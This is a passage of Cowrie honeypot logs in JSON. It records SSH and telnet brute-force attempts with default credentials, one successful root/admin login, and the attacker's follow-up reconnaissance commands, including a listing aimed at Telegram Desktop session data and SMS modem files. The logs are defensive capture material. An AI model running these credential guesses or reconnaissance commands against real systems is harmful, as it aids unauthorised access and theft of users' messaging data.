a2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:06.986279Z","src_ip":"160.187.174.22","session":"a5aeb9ea7115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:07.947605Z","src_ip":"160.187.174.22","session":"a5aeb9ea7115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:09.194948Z","src_ip":"160.187.174.22","session":"a5aeb9ea7115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:09.198711Z","src_ip":"139.99.74.35","session":"653279656f5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":60254,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e2c171f001e","protocol":"ssh","message":"New connection: 139.99.74.35:60254 (159.203.135.109:22) [session: 9e2c171f001e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:09.418131Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:14.203535Z","src_ip":"139.99.74.35","session":"9e2c171f001e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.163.5.228","src_port":44708,"dst_ip":"159.203.135.109","dst_port":22,"session":"1282bfba2c40","protocol":"ssh","message":"New connection: 221.163.5.228:44708 (159.203.135.109:22) [session: 1282bfba2c40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:19.189817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:19.193637Z","src_ip":"221.163.5.228","session":"1282bfba2c40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3cb24313ef7969100a7527f11b569cd4","hasshAlgorithms":"diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,ext-info-c;3des-cbc,aes128-cbc,aes128-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3cb24313ef7969100a7527f11b569cd4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:19.395263Z","src_ip":"221.163.5.228","session":"1282bfba2c40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2008","message":"login attempt [root/Admin2008] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:20.242912Z","src_ip":"221.163.5.228","session":"1282bfba2c40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:21.449066Z","src_ip":"221.163.5.228","session":"1282bfba2c40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":41466,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b556bf3141a","protocol":"ssh","message":"New connection: 160.187.174.22:41466 (159.203.135.109:22) [session: 0b556bf3141a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:33.331470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:33.335306Z","src_ip":"160.187.174.22","session":"0b556bf3141a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:33.667021Z","src_ip":"160.187.174.22","session":"0b556bf3141a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:34.394267Z","src_ip":"160.187.174.22","session":"0b556bf3141a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.67415928840637,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:35.581061Z","src_ip":"170.64.224.25","session":"007fff94404b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:35.652730Z","src_ip":"160.187.174.22","session":"0b556bf3141a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33982,"dst_ip":"159.203.135.109","dst_port":23,"session":"a68d35844c4a","protocol":"telnet","message":"New connection: 170.64.224.25:33982 (159.203.135.109:23) [session: a68d35844c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:42.601329Z"}
{"eventid":"cowrie.session.closed","duration":37.45239996910095,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:44.435061Z","src_ip":"170.64.224.25","session":"14789dbe3903","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.23.162.80","src_port":40062,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa44c812217b","protocol":"ssh","message":"New connection: 31.23.162.80:40062 (10.17.0.5:22) [session: fa44c812217b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:56.815968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:56.820238Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:56.970616Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:00.016083Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":59888,"dst_ip":"159.203.135.109","dst_port":22,"session":"14261eb5d6c7","protocol":"ssh","message":"New connection: 160.187.174.22:59888 (159.203.135.109:22) [session: 14261eb5d6c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:00.739175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:00.744570Z","src_ip":"160.187.174.22","session":"14261eb5d6c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:00.979396Z","src_ip":"160.187.174.22","session":"14261eb5d6c7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:01.172680Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:01.510189Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:01.513276Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:01.516525Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:01.691391Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:01.958969Z","src_ip":"160.187.174.22","session":"14261eb5d6c7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:02.032948Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:02.035414Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:02.192299Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:02.529408Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:02.531372Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:02.682389Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:03.007007Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:03.009626Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:03.196505Z","src_ip":"160.187.174.22","session":"14261eb5d6c7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":3437,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:03.627859Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:03.955050Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:03.957944Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:04.109416Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:04.449861Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:04.452464Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:04.603082Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:05.014950Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:05.017673Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:05.187149Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:05.517351Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:05.519882Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:05.723076Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:06.052582Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:28:06.055250Z","src_ip":"31.23.162.80","session":"fa44c812217b","protocol":"ssh"}
